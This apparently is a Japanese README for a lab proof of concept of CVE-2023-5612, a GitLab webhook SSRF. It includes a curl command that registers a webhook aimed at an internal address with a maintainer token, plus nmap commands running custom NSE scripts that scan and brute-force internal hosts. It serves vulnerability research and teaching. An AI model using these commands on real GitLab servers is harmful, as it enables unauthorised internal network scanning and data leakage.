
CVE-2023-5612(GitLab CE/EE の Webhook SSRF)の概念実証と分析。curl による PoC 手順と、内部 URL を検証・ブルートフォースするためのカスタム NSE スクリプトを含みます。
GitLab CE/EE の SSRF 脆弱性により、有効な Project Maintainer アクセス権を持つ攻撃者が、悪意のある webhook URL を介して任意の内部サービスに細工されたリクエストを送信できます。悪用されると、内部ネットワークスキャン、メタデータ漏洩、またはさらなるピボットにつながります。
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- テスト専用に展開された仮想マシン内の Kali Linux
- Docker 経由で起動された脆弱な GitLab CE インスタンス (ポート 8080)
- GitLab 内部:
- テストプロジェクトを作成
- Maintainer 権限を持つ Personal Access Token (glpat-...) を生成
- 内部 SSRF ターゲット用に 127.0.0.1:8888 で最小限の HTTP サービスを起動
- curl による手動での脆弱性確認 (PoC 参照)
- カスタム NSE スクリプトの作成:
gitlab-ssrf.nse: SSRF の的を絞ったチェック
gitlab-ssrf-brute.nse: 内部アドレスの自動ブルートフォース
- nmap -d および --script-trace を使用したテスト。API の挙動分析と結果の記録のため
- 内部サービスからの 401 Unauthorized 応答の取得。これは SSRF の成功を示す
- 成功したリクエストは `201 Created` または `401 Unauthorized` のようなエラーを返し、SSRF アクセスを示す。
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
脆弱性 **CVE-2023-5612** の作業中に、GitLab CE の API を介して内部アドレスにアクセスする SSRF 攻撃シナリオの再現に成功しました。これは、webhook の機能を制限し、サーバー側で URL 検証を実装することがいかに重要であるかを示しています。
.
├── gitlab-ssrf.nse # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse # NSE brute script to scan internal hosts/ports
├── screenshots/ # PoC 実行と脆弱性確認のスクリーンショット
└── README.md # このファイル
Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst
すべてのテストは、意図的に脆弱なバージョンを使用した隔離されたラボ環境で実施されました。許可されていないシステムに対してこれを使用しないでください。倫理的なハッキングの原則を尊重してください。